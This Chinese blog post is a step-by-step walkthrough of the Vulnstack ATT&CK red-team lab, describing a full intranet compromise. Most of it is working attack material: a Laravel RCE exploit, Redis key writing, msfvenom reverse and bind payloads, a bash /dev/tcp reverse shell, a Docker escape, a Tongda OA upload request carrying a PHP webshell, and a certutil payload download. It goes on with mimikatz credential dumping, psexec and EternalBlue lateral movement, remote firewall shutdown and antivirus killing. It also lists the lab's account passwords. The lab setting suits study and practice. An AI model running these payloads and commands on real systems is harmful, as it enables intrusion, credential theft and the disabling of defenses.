前言:本人刚接触内网比较菜,如有一些错误的地方请师傅们指点一下。

知识点:

1、WEB安全-漏洞发现及利用
2、系统安全-权限提升(漏洞&配置&逃逸)
3、内网安全-横向移动(口令传递&系统漏洞)

实战演练-ATT&CK实战系列-红队评估

环境下载:

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

利用资源:

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
https://github.com/briskets/CVE-2021-3493
https://blog.csdn.net/szgyunyun/article/details/107104288

参考WP:

https://www.freebuf.com/articles/network/264560.html

涉及技术:

1.漏洞搜索与利用
2.Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
3.Docker逃逸
4.通达OA v11.3 漏洞利用
5.Linux环境变量提权
6.Redis 未授权访问漏洞
7.Linux sudo权限提升(CVE-2021-3156)漏洞利用
8.SSH密钥利用
9.Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
10.MS14-068漏洞利用

服务配置


靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应
的主机上启动靶机服务:

DMZ区的 Ubuntu 需要启动nginx服务:(web1)

sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F

第二层网络的 Ubuntu需要启动docker容器:(web2)

sudo service docker start
sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe

域用户信息


域用户账户和密码如下:

Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户:

admin:admin657260

kali开启ssh服务


/etc/init.d/ssh start            xshell 连接22端口和kali的ip

过程


1.用kali扫描web1的外网端口(这里是46.160,kali是46.158地址)

nmap -T4 -sC -sV 192.168.46.160

2.使用laravel爆出的漏洞

81端口:laravel 存在最新漏洞
python laravel-CVE-2021-3129-EXP.py http://目标地址
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

3.在用哥斯拉后门工具连接
将有效载荷和加密器改为php的

4.在上线之前先判断对方的搭建系统出现这个东西就代表对方可以用docker服务

5.这里我们将web权限反弹到msf是不成功的
其一:是因为对放将81端口代理到52.20:8000端口上,这里肯定是连接不通的,因为我们的msf主机和对方的52网段的不出网机子不通
其二:后门的代理没有走第一层网络 所以连接不上web2上的主机

6.所以我们入侵该主机并不能造成太大的威胁,所以我们要入侵web的其他端口(kali扫描全部端口)扫到了6379的端口redis

nmap -T4 -sC -sV -p1-65535 192.168.xx.xxx



7.Ubuntu 1 DMZ渗透 redis未授权判断进入了就代表有redis未授权(kali运行)

redis-cli -h 192.168.xx.xxxxx

7.1Redis未授权访问-ssh密匙 生成公钥(kali 上执行)

ssh-keygen -t rsa

7.3把1.txt文件内容写入目标主机的redis缓冲中

cat 1.txt | redis-cli -h 192.168.46.160(web主机) -p 6379(redis端口) -x set hello

7.4设置redis的备份路径为/root/.ssh/

config set dir /root/.ssh

7.5设置保存文件名为authorized_keys

config set dbfilename authorized_keys

7.6将数据保存在目标服务器硬盘上

save

7.7连接

ssh root@192.168.46.160

7.8获取web1的主机

8.因为连接到web1的主机,所以生成正向反向的后门都可以,生成反向连接的后门

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.46.158 lport=6666 -f elf -o p1.elf


9.在将这个后门放到刚刚连接到的web1的文件下

10.在用redis未授权访问的web1下载这个后门

wget http://192.168.46.160:81/p1.elf

11.在这个后门执行前,kali上要启用msf的监听模块

msfconsole                                                   开启msf
use exploit/multi/handler                                   使用监听模块
set payload linux/x64/meterpreter/reverse_tcp   设置刚刚生成后门的模块
set lhost 192.168.46.158                                设置ip
set lport 6666                                              设置端口
exploit                                                         攻击


12.redis未授权访问的主机执行后门代码

./p1.elf


13.然后进入到他的主机之后来进行横向渗透,首先来来获取路由

sessions 1                                           回到会话中
run get_local_subnets                       获取本地路由
run autoroute -p                                查询本地路由
run post/multi/manage/autoroute         得到本地路由

14.内网探针来查询52网段有那些ip地址存活,可能只扫到一个30的地址,其实还可以ping到20的地址

background
use auxiliary/scanner/discovery/udp_probe       使用扫描模块
show options                                                    展示选项
set rhosts   192.168.52.1-255                           设置主机范围
set threads 10                                              设置线程
run                                                             运行


15.在利用环境变量配合SUID本地提权

find / -user root -perm -4000 -print 2>/dev/null

16.通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限

cd /home/jobs
./shell
chmod 777 ps
cp /bin/bash /tmp/ps

17.因为环境变量问题所以我们将这个二层网络的主机反弹到一层网络主机上面所以在创建一个kali会话连接到第一层的网络主机上面,设置nc将二层网络主机的权限反弹到一层主机上面

nc -lvp 1234


18.将web权限反弹到第一层主机上

bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'

19.添加环境变量

export PATH=/tmp:$PATH          添加环境变量
echo $PATH              查看环境变量


20.在来使用shell提升权限

./shell
id              查看权限


21.kali生成正向连接的后门由此来连接

msfvenom -p linux/x64/meterpreter/bind_tcp lport=7777 -f elf -o p2.elf  生成正向连接的后门


22.在将这个后门放到冰蝎连接上的web主机上面

23.在来使用kali的msf监听这个后门

back
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
show options
set lport 7777
set rhost 192.168.52.20                 主机连接对方的ip地址



24. 然后在提权的机器上运行后门发现不成功,这就是涉及到前面所提及到的dokcer(为了确保能木马能运行,在真实机上运行试验一下验证)

25.docker逃逸在那台提权上的主机上进行逃逸

fdisk -l                  #查看磁盘文件
ls /dev                  #查看设备文件
cd /
mkdir hello
mount /dev/sda1 /hello
ls /hello

覆盖密匙:

cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys#-avx将权限也一起复制
echo > /hello/home/ubuntu/.ssh/authorized_keys      #清空authorized_keys文件
echo '26步骤生成的密钥' > /hello/home/ubuntu/.ssh/authorized_keys       #将ssh秘钥写入

26.pc1上覆盖密钥

ssh root@192.168.46.160             重新连接kali
cat hello.pub                   查看密钥
ssh-keygen -f hello             生成密钥
chmod 600 hello                 给予权限
ls
cat  hello.pub


27.25步骤写入了密钥就可以连接52.20的主机(刚刚创建密钥的主机上连接)

ssh -i hello ubuntu@192.168.52.20


28.在来运行该木马

29.然后建立的msf的监听就能接受到会话
30.然后再来进入到ubuntu的会话中查看路由地址,就能添加到93的主机地址

session 4
run get_local_subnets

run autoroute -p
run post/multi/manage/autoroute


31.现在我们已经拿下了20和10的主机,我们要拿下30的主机,我们要使用nmap来扫描ip地址的服务,虽然我们这台msf有52网段的ip路由,但是nmap不是msf内置的工具,所以我们可以设置一个代理来使用nmap扫描工具。(这里使用msf自带的端口扫描模块)


32.这里我使用msf自带的扫描模块

use auxiliary/scanner/portscan/tcp
show options
set rhosts 192.168.52.30
set threads 10
exploit


33.然后在用kali机连接到这个oa系统,前提win7上打开了oa系统,kali的浏览器上设置代理,使用burpsuite抓包

34. 这里就是使用通达OA系统的RCE和前台任意用户登录漏洞

34.1先在登录处抓包

34.2修改在路径,删除cookie,添加Uid

34.3然后就会返回这个cookie在来利用这个cookie未授权访问

34.4用获取的SESSID访问/general/

34.5未授权文件上传 任意文件上传漏洞 /ispirit/im/upload.php,在来直接使用这个数据包修改ip和端口号就行

Host: xxxx:xx
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
34.5在来使用文件包含来  命令执行
POST /ispirit/interface/gateway.php HTTP/1.1
Host:   ip:端口
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencodedjson={"url":"/general/../../attach/im/图片路径"}&cmd=whoami

34.6发现可以命令执行,再来下载一个后门代码,前提在生成一个后门木马,生成windows木马,在将木马放到web的目录上

msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe > w7.exe

34.7再来下载这个木马

certutil -urlcache -split -f http://192.168.52.10:81/w7.exe c:/w7.exe

34.8使用木马前监听这个后门

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.30
set lport 7777
exploit

34.9使用这个木马

c:/w7.exe

35.成功之后发现有

background
sessions
sessions 5


36.添加93网段

run get_local_subnets
run autorouter  -p
run post/multi/manage/autoroute



37.然后在利用msf自带的扫描模块扫描

background
use auxiliary/scanner/discover/udp_proe
show options
set rhosts 192.168.93.1-50
run


38.发现对方开放的ip地址和端口


注:这里是关闭了防火墙

39.其一:利用ms17010

use auxiliary/scanner/smb/smb_ms17_010       扫描是否有ms17010漏洞
show options
set rhosts 192.168.93.20-30         扫描20-30网段
exploit


40.发现有两台主机可以利用

41.其二:使用mimikatz来攻击

sessions
sessions 5
load kiwi           载入mimikatz


42.如果这里提示x32不能执行x64,那就要移植进程

kiwi_cmd sekurlsa::logonpasswords            获取账号密码


43.先执行ps命令获取一个x64的system权限进程

ps
migrate 4012            移植4012进程


44.再来执行刚刚的命令

kiwi_cmd sekurlsa::logonpasswords            获取账号密码


45.获取到administartor账号密码就来利用msf的psexec模块

background
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp        改为正向连接
set rhost 192.168.93.30                 设置主机
show options
set smbuser 获取到的administrator账号         设置账号
set smbpass 获取到的密码              设置密码
exploit



46.其三:利用smb的ms17010的psexec的模块

use exploit/windows/smb/ms17_010_psexec          使用模块
set payload windows/meterpreter/bind_tcp                设置正向连接
set rhost 192.168.93.40                                         设置ip


这里开启了防火墙

47.这就是开启了防火墙,攻击能成功但是反弹不了会话

48.首先建立session

sessions 5


49.返回shell终端

50.强制关闭防火墙

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall


51.之后就可以继续攻击

background
exploit


52.攻击win7的ms17010的模块

background
use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/x64/meterpreter/bind_tcp        改为正向连接
set rhost 192.168.93.40
run

补充:
关闭防火墙: netsh advfirewall set allprofiles state off
关闭win10的防火墙Denfender: net stop windefend
关闭DEP: bcdedit.exe/set{current}nx alwaysoff
关闭杀毒软件: run killav run post/windows/manage/killava

内网安全-Docker逃逸DMZ穿透相关推荐

  1. 内网服务器安装docker

    内网服务器安装docker 1.下载docker的安装文件 2.将下载的压缩包上传到服务器,在服务器解压并移动到/usr/bin目录下 3.使用systemctl管理docker服务 4.给 dock ...

  2. frp穿透内网 使用stcp进行P2P穿透3389远程桌面端口实战

    文章目录 1. 按 2. 更多内网穿透产品 3. 硬件配置 4. 待其他设备访问的客户端配置 5. 访问其它设备的客户端配置 6. 服务器(vps)配置 7. 更多使用案例 1. 按 在IPv4统治的 ...

  3. 记一次docker逃逸学习

    本文首发于先知社区:https://xz.aliyun.com/t/9966 记一次docker逃逸拿shell的靶场渗透. 环境搭建 靶场: ubuntu 内网ip:192.168.183.10 外 ...

  4. 什么内网穿透?如何使用内网穿透?

    什么是内网穿透? 内网穿透也叫做内网映射,也叫"NAT穿透" 一句话来说就是,让外网能访问你的内网:把自己的内网(主机)当成服务器,让外网能访问. 原理图解如下: 使用内网穿透有什 ...

  5. p2p技术之tcp内网穿透 java实现版

    如今p2p技术已经十分成熟,然而很多人停留在理论层面,在实现过程中遇到这样那样的问题,甚至有的人说tcp打洞无法实现,本文简单阐述tcp穿透的过程,然后附上完整的java代码. 由于32位Ip地址的稀 ...

  6. 花生壳 || FRP实现玩客云、树莓派...内网穿透,外网访问

    一:内外网穿透简介 内网穿透也叫做内网映射,也叫"NAT穿透".就是让外网能访问你的内网:把自己的内网(主机)当成服务器,让外网能访问.下面是我用过的两种内网穿透.个人认为FRP更 ...

  7. 【内网安全-通讯上线】通讯上线基础知识

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

  8. 如何设置ddns动态域名实现内网发布外网

    在本地搭建好服务器,部署好web网站或其他应用后,需要设置动态域名服务ddns,将主机的内网IP端口映射到外网访问,才能实现在外网访问内网.今天小编就和大家分享一下内网发布外网方案,即如何设置ddns ...

  9. 内外网的交流安全(DMZ,网闸,防火墙)

    汇总与修改自以下参考资料 https://www.xianjichina.com/news/details_88937.html https://baike.baidu.com/item/防火墙/52 ...

最新文章

  1. 【Ubuntu入门到精通系列讲解】系统信息相关命令
  2. 安装archlinux_archlinux/manjaro 上安装percona-server
  3. 为什么要使用spring IOC
  4. ACM常用之 异或运算的性质。
  5. 新!详细!win10下MySQL数据库干净卸载安装与配置
  6. Apollo进阶课程㉖丨Apollo规划技术详解——Understand More on the MP Difficulty
  7. 友盟渠道统计mysql_cnzz友盟怎么安装网站统计代码监控网站流量
  8. 2018.09.17 atcoder Digit Sum(数论)
  9. 南京工业大学计算机研究生分数,2019南京工业大学研究生分数线汇总(含2016-2019历年复试)...
  10. Android 缓存的使用
  11. 关于console.log() 打印得引用类型得数据得相关问题
  12. Microsoft.AspNet.Identity 的简单使用
  13. idea svn切换分支,合并分支
  14. 谷歌livereload插件使用
  15. tensorboard 可视化 projector
  16. wps如何快速小计求和
  17. python语言设计二级教程答案2019_全国计算机等级考试二级教程2019年版——Python语言程序设计参考答案...
  18. 2017年3月18日奇虎360 笔试真题(3个编程题)
  19. JavaScript【树】
  20. UI-Bootstrap 模态对话框示例

热门文章

  1. 腾讯WeTest即将亮相MTSC2021中国互联网测试开发大会
  2. PDF屏蔽打印,隐藏工具栏和菜单栏
  3. SDN实战团分享(一):OpenStack网络服务数据平面加速
  4. 微处理器重要技术之——流水线
  5. Linux服务器安装kangle面板做虚拟主机分销
  6. C#实际案例分析(第六弹)
  7. 医生告诉你,感染了幽门螺旋杆菌该这样做
  8. 使用工具创建实体类出现的错误!Table configuration with catalog null, schema null, and table t_ssm_resource did not
  9. delphi 类的写法 和 控制台程序的制作---深入Delphi编程
  10. 用计算机做表格的超链接,计算机基础13 表格嵌套及超链接.pptx